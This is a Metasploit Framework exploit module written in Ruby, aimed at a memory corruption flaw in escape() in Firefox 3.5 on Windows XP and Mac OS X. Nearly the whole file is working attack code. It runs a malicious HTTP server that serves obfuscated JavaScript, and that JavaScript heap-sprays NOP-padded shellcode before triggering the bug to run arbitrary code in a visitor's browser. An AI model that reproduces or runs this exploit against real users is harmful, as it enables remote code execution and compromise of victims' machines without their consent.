1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229 | ##
# $Id$
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
#
# This module acts as an HTTP server
#
include Msf::Exploit::Remote::HttpServer::HTML
include Msf::Exploit::Remote::BrowserAutopwn
autopwn_info({
:ua_name => HttpClients::FF,
:ua_ver => "3.5",
:os_name => OperatingSystems::WINDOWS,
:javascript => true,
:rank => NormalRanking, # reliable memory corruption
:vuln_test => nil,
})
def initialize(info = {})
super(update_info(info,
'Name' => 'Firefox 3.5 escape() Return Value Memory Corruption',
'Description' => %q{
This module exploits a memory corruption vulnerability in the Mozilla
Firefox browser. This flaw occurs when a bug in the javascript interpreter
fails to preserve the return value of the escape() function and results in
uninitialized memory being used instead. This module has only been tested
on Windows, but should work on other platforms as well with the current
targets.
},
'License' => MSF_LICENSE,
'Author' => [
'Simon Berry-Byrne <x00050876[at]itnet.ie>', # Author / Publisher / Original exploit
'hdm', # Metasploit conversion
],
'Version' => '$Revision$',
'References' =>
[
['OSVDB', '55846'],
['BID', '35660'],
['URL', 'https://bugzilla.mozilla.org/show_bug.cgi?id=503286']
],
'Payload' =>
{
'Space' => 1000 + (rand(256).to_i * 4),
'BadChars' => "\x00",
},
'Targets' =>
[
[ 'Firefox 3.5.0 on Windows XP SP0-SP3',
{
'Platform' => 'win',
'Arch' => ARCH_X86,
'Ret' => 0x0c0c0c0c,
'BlockLen' => 0x60000,
'Containers' => 800,
}
],
[ 'Firefox 3.5.0 on Mac OS X 10.5.7 (Intel)',
{
'Platform' => 'osx',
'Arch' => ARCH_X86,
'Ret' => 0x41414141,
'BlockLen' => 496,
'Containers' => 800000
}
]
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Jul 14 2006'
))
end
def on_request_uri(cli, request)
# Re-generate the payload
return if ((p = regenerate_payload(cli)) == nil)
print_status("Sending #{self.name} to #{cli.peerhost}:#{cli.peerport}...")
send_response_html(cli, generate_html(p), { 'Content-Type' => 'text/html; charset=utf-8' })
handler(cli)
end
def generate_html(payload)
enc_code = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))
enc_nops = Rex::Text.to_unescape(make_nops(4), Rex::Arch.endian(target.arch))
enc_ret = Rex::Text.to_unescape(
Rex::Arch.endian(target.arch) == ENDIAN_LITTLE ? [target.ret].pack('V') : [target.ret].pack('N')
)
var_data_str1 = Rex::Text.rand_text_alpha(3)
var_data_str2 = Rex::Text.rand_text_alpha(4)
js = %Q^
var xunescape = unescape;
var shellcode = xunescape("#{enc_code}");
oneblock = xunescape("#{enc_ret}");
var fullblock = oneblock;
while (fullblock.length < #{target['BlockLen']})
{
fullblock += fullblock;
}
var sprayContainer = new Array();
var sprayready = false;
var sprayContainerIndex = 0;
function fill_function()
{
if(! sprayready) {
for (xi=0; xi<#{target['Containers']}/100; xi++, sprayContainerIndex++)
{
sprayContainer[sprayContainerIndex] = fullblock + shellcode;
}
} else {
DataTranslator();
GenerateHTML();
}
if(sprayContainer.length >= #{target['Containers']}) {
sprayready = true;
}
}
var searchArray = new Array();
function escapeData(data)
{
var xi;
var xc;
var escData='';
for(xi=0; xi<data.length; xi++)
{
xc=data.charAt(xi);
if(xc=='&' || xc=='?' || xc=='=' || xc=='%' || xc==' ') xc = escape(xc);
escData+=xc;
}
return escData;
}
function DataTranslator()
{
searchArray = new Array();
searchArray[0] = new Array();
searchArray[0]["#{var_data_str1}"] = "#{var_data_str2}";
var newElement = document.getElementById("content");
if (document.getElementsByTagName) {
var xi=0;
pTags = newElement.getElementsByTagName("p");
if (pTags.length > 0)
while (xi < pTags.length)
{
oTags = pTags[xi].getElementsByTagName("font");
searchArray[xi+1] = new Array();
if (oTags[0]) {
searchArray[xi+1]["#{var_data_str1}"] = oTags[0].innerHTML;
}
xi++;
}
}
}
function GenerateHTML()
{
var xhtml = "";
for (xi=1;xi<searchArray.length;xi++)
{
xhtml += escapeData(searchArray[xi]["#{var_data_str1}"]);
}
}
setInterval("fill_function()", .5);
^
# Obfuscate it up a bit
js = obfuscate_js(js,
'Symbols' => {
'Variables' => %W{ DataTranslator GenerateHTML escapeData xunescape shellcode oneblock fullblock sprayContainer xi searchArray xc escData xhtml pTags oTags newElement sprayready sprayContainerIndex fill_function }
}
).to_s
str1 = Rex::Text.rand_text_alpha(20)
str2 = Rex::Text.rand_text_alpha(24)
str3 = Rex::Text.rand_text_alpha(10) + " "
return %Q^
<html>
<head>
<div id="content">
<p>
<FONT>
</FONT>
</p>
<p>
<FONT>#{str1}</FONT></p>
<p>
<FONT>#{str2}</FONT>
</p>
<p>
<FONT>#{str3}</FONT>
</p>
</div>
<script language="JavaScript">
#{js}
</script>
</body>
</html>
^
end
end
|